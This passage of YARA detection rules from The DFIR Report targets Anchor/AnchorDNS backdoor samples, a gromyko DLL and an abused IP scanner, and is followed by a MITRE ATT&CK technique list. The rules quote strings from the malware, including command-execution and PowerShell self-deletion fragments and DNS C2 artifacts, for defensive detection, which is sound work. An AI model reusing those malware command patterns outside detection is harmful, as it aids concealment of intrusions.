$x1 = "C:\\Users\\hillary\\source\\repos\\gromyko\\Release\\gromyko.pdb" fullword
ascii
$x2 = "api-ms-win-core-synch-l1-2-0.dll" fullword wide /* reversed goodware string
'lld.0-2-11-hcnys-eroc-niw-sm-ipa' */
$s3 = "gromyko32.dll" fullword ascii
$s4 = "<requestedExecutionLevel level='asInvoker' uiAccess='false'/>" fullword ascii
$s5 = "AppPolicyGetProcessTerminationMethod" fullword ascii
$s6 = "https://sectigo.com/CPS0" fullword ascii
$s7 = "2http://crl.comodoca.com/AAACertificateServices.crl04" fullword ascii
$s8 = "?http://crl.usertrust.com/USERTrustRSACertificationAuthority.crl0v" fullword
ascii
$s9 = "3http://crt.usertrust.com/USERTrustRSAAddTrustCA.crt0%" fullword ascii
$s10 = "http://ocsp.sectigo.com0" fullword ascii
$s11 = "2http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s" fullword ascii
$s12 = "2http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#" fullword ascii
$s13 = "http://www.digicert.com/CPS0" fullword ascii
$s14 = "AppPolicyGetThreadInitializationType" fullword ascii
$s15 = "[email protected]" fullword ascii
$s16 = "gromyko.inf" fullword ascii
$s17 = "operator<=>" fullword ascii
$s18 = "operator co_await" fullword ascii
$s19 = "gromyko" fullword ascii
$s20 = "api-ms-win-appmodel-runtime-l1-1-2" fullword wide
condition:
uint16(0) == 0x5a4d and filesize < 1000KB and
(pe.imphash() == "1b1b73382580c4be6fa24e8297e1849d" or (1 of ($x*) or 4 of them))
}
rule advanced_ip_scanner {
meta:
description = "files - file advanced_ip_scanner.exe"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2021-02-22"
hash1 = "722fff8f38197d1449df500ae31a95bb34a6ddaba56834b13eaaff2b0f9f1c8b"
strings:
$x1 = "<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\"</pre>
xmlns:asmv3=\"urn:schemas-microsoft-com:asm.v3\"><t" ascii</pre>
$s2 = "fo xmlns=\"urn:schemas-microsoft-com:asm.v3\"><security><requestedPrivileges>
<requestedExecutionLevel level=\"asInvoker\" uiAcce" ascii
$s3 = "Executable files (*.exe)" fullword ascii
$s4 = "ORolUpdater.dll" fullword wide
$s5 = "Qt5WinExtras.dll" fullword ascii
$s6 = "Radmin.exe" fullword ascii
$s7 = "ping.exe" fullword ascii
$s8 = "tracert.exe" fullword ascii
$s9 = "famatech.com" fullword ascii
```

```
$s10 = "advanced_ip_scanner.exe" fullword wide
$s11 = "Z:\\out\\Release\\NetUtils\\x86\\advanced_ip_scanner.pdb" fullword ascii
$s12 = "Qt5Xml.dll" fullword ascii
$s13 = "/telnet.exe" fullword ascii
$s14 = "onTargetScanned" fullword ascii
$s15 = "CScanTargetsShared" fullword ascii
$s16 = "10nCmdScanSelected( CScanTargets& )" fullword ascii
$s17 = "http://www.advanced-ip-scanner.com/" fullword ascii
$s18 = "2CmdScanSelected( CScanTargets& )" fullword ascii
$$19 = "</style></head><body style=\" font-family:'MS Shell Dlg 2'; font-size:8.25pt;</pre>
font-weight:400; font-style:normal;\">" fullword ascii
$s20 = "<a href=\"http://www.radmin.com\">www.radmin.com</a>" fullword wide
condition:
uint16(0) == 0x5a4d and filesize < 5000KB and
(pe.imphash() == "a3bc8eb6ac4320e91b7faf1e81af2bbf" or (1 of ($x*) or 4 of them))
}
rule anchor_x64 {
meta:
description = "files - file anchor_x64.exe"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2021-02-22"
hash1 = "ca72600f50c76029b6fb71f65423afc44e4e2d93257c3f95fb994adc602f3e1b"
strings:
$x1 = "cmd.exe /c timeout 3 && " fullword wide
$x2 = "<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\">
<trustInfo><security><requestedPrivileges><requeste" ascii
$x3 = "api-ms-win-core-synch-l1-2-0.dll" fullword wide /* reversed goodware string
'lld.0-2-1l-hcnys-eroc-niw-sm-ipa' */
$s4 = "\\System32\\cmd.ex\\System32\\rundllP" fullword ascii
$s5 = "Z:\\D\\GIT\\anchorDns.llvm\\Bin\\x64\\Release\\anchorDNS_x64.pdb" fullword
ascii
$s6 = "AppPolicyGetProcessTerminationMethod" fullword ascii
$s7 = "cutionLevel level=\"asInvoker\" uiAccess=\"false\"></requestedExecutionLevel>
</requestedPrivileges></security></trustInfo><appli" ascii
$s8 = "thExecute" fullword ascii
$s9 = "on xmlns=\"urn:schemas-microsoft-com:asm.v3\"><windowsSettings><dpiAware</pre>
xmlns=\"http://schemas.microsoft.com/SMI/2005/WindowsSe" ascii
$s10 = "WinHTTP loader/1.0" fullword wide
$s11 = "AppPolicyGetThreadInitializationType" fullword ascii
$s12 = "AnchorDNS.cpp" fullword ascii
$s13 = "hardWorker.cpp" fullword ascii
$s14 = "operator<=>" fullword ascii
$s15 = "operator co_await" fullword ascii
$s16 = "/C PowerShell \"Start-Slemove-Iteep 3; Re" fullword wide
$s17 = "<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\">
<trustInfo><security><requestedPrivileges><requeste" ascii
$s18 = "api-ms-win-appmodel-runtime-l1-1-2" fullword wide
$s19 = "UAWAVAUATVWSH" fullword ascii
$s20 = "AWAVAUATVWUSH" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 1000KB and
(pe.imphash() == "e2450fb3cc5b1b7305e3193fe03f3369" or (1 of ($x*) or 4 of them))
}
```

```
rule anchorDNS_x64 {
meta:
description = "files - file anchorDNS_x64.exe"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2021-02-22"
hash1 = "9fdbd76141ec43b6867f091a2dca503edb2a85e4b98a4500611f5fe484109513"
strings:
$x1 = "cmd.exe /c timeout 3 && " fullword wide
$x2 = "<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\">
<trustInfo><security><requestedPrivileges><requeste" ascii
$x3 = "api-ms-win-core-synch-l1-2-0.dll" fullword wide /* reversed goodware string
'lld.0-2-1l-hcnys-eroc-niw-sm-ipa' */
$s4 = "\\System32\\cmd.ex\\System32\\rundllP" fullword ascii
$s5 = "Z:\\D\\GIT\\anchorDns.llvm\\Bin\\x64\\Release\\anchorDNS_x64.pdb" fullword
ascii
$s6 = "AppPolicyGetProcessTerminationMethod" fullword ascii
$s7 = "cutionLevel level=\"asInvoker\" uiAccess=\"false\"></requestedExecutionLevel>
</requestedPrivileges></security></trustInfo><appli" ascii
$s8 = "thExecute" fullword ascii
$s9 = "on xmlns=\"urn:schemas-microsoft-com:asm.v3\"><windowsSettings><dpiAware</pre>
xmlns=\"http://schemas.microsoft.com/SMI/2005/WindowsSe" ascii
$s10 = "WinHTTP loader/1.0" fullword wide
$s11 = "AppPolicyGetThreadInitializationType" fullword ascii
$s12 = "AnchorDNS.cpp" fullword ascii
$s13 = "hardWorker.cpp" fullword ascii
$s14 = "operator<=>" fullword ascii
$s15 = "operator co_await" fullword ascii
$s16 = "/C PowerShell \"Start-Slemove-Iteep 3; Re" fullword wide
$s17 = "<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\">
<trustInfo><security><reguestedPrivileges><regueste" ascii
$s18 = "api-ms-win-appmodel-runtime-l1-1-2" fullword wide
$s19 = "UAWAVAUATVWSH" fullword ascii
$s20 = "AWAVAUATVWUSH" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 1000KB and
( pe.imphash() == "e2450fb3cc5b1b7305e3193fe03f3369" or ( 1 of ($x*) or 4 of them ) )
}
rule anchorAsjuster_x64 {
meta:
description = "files - file anchorAsjuster_x64.exe"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2021-02-22"
hash1 = "3ab8a1ee10bd1b720e1c8a8795e78cdc09fec73a6bb91526c0ccd2dc2cfbc28d"
strings:
$s1 = "curity><requestedPrivileges><requestedExecutionLevel level=\"asInvoker\"</pre>
uiAccess=\"false\"></requestedExecutionLevel></requeste" ascii
$s2 = "anchorAdjuster* --source=<source file> --target=<target file> --domain=<domain</pre>
name> --period=<recurrence interval, minutes, def" ascii</pre>
$s3 = "anchorAdjuster* --source=<source file> --target=<target file> --domain=<domain</pre>
name> --period=<recurrence interval, minutes, def" ascii</pre>
$s4 = "target file \"%s\"" fullword ascii
$s5 = "--target=" fullword ascii
```

```
$s6 = "hemas.microsoft.com/SMI/2005/WindowsSettings\">true</dpiAware>
</windowsSettings></application></assembly>" fullword ascii
$s7 = "error write file, written %i bytes, need write %i bytes, error code %i"
fullword ascii
$s8 = "error create file \"%s\", code %i" fullword ascii
$s9 = "guid: %s, shift 0x%08X(%i)" fullword ascii
$s10 = "ault value 15> -guid --count=<count of instances>" fullword ascii
$s11 = "domain: shift 0x%08X(%i)" fullword ascii
$s12 = "<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\">
<trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3" ascii
$s13 = "vileges></security></trustInfo><application xmlns=\"urn:schemas-microsoft-</pre>
com:asm.v3\"><windowsSettings><dpiAware xmlns=\"http:/" ascii</pre>
$s14 = "wrong protocol type" fullword ascii /* Goodware String - occured 567 times */
$s15 = "network reset" fullword ascii /* Goodware String - occured 567 times */
$s16 = "owner dead" fullword ascii /* Goodware String - occured 567 times */
$s17 = "connection already in progress" fullword ascii /* Goodware String - occured
567 times */
$s18 = "network down" fullword ascii /* Goodware String - occured 567 times */
$s19 = "protocol not supported" fullword ascii /* Goodware String - occured 568 times
*/
$s20 = "connection aborted" fullword ascii /* Goodware String - occured 568 times */
condition:
uint16(0) == 0x5a4d and filesize < 700KB and
( pe.imphash() == "9859b7a32d1227be2ca925c81ae9265e" or 8 of them )
}
```

MITRE

Spearphishing Link - T1566.002 Command-Line Interface - T1059 Malicious File - T1204.002 Scheduled Task - T1053.005 User Execution - T1204 Process Injection - T1055 DNS - T1071.004 Commonly Used Port - T1043 Application Layer Protocol - T1071 Exfiltration Over C2 Channel - T1041 SMB/Windows Admin Shares - T1021.002 Domain Trust Discovery - T1482 Domain Account - T1087.002 Remote System Discovery - T1018 System Information Discovery - T1082 OS Credential Dumping - T1003

Internal case #1017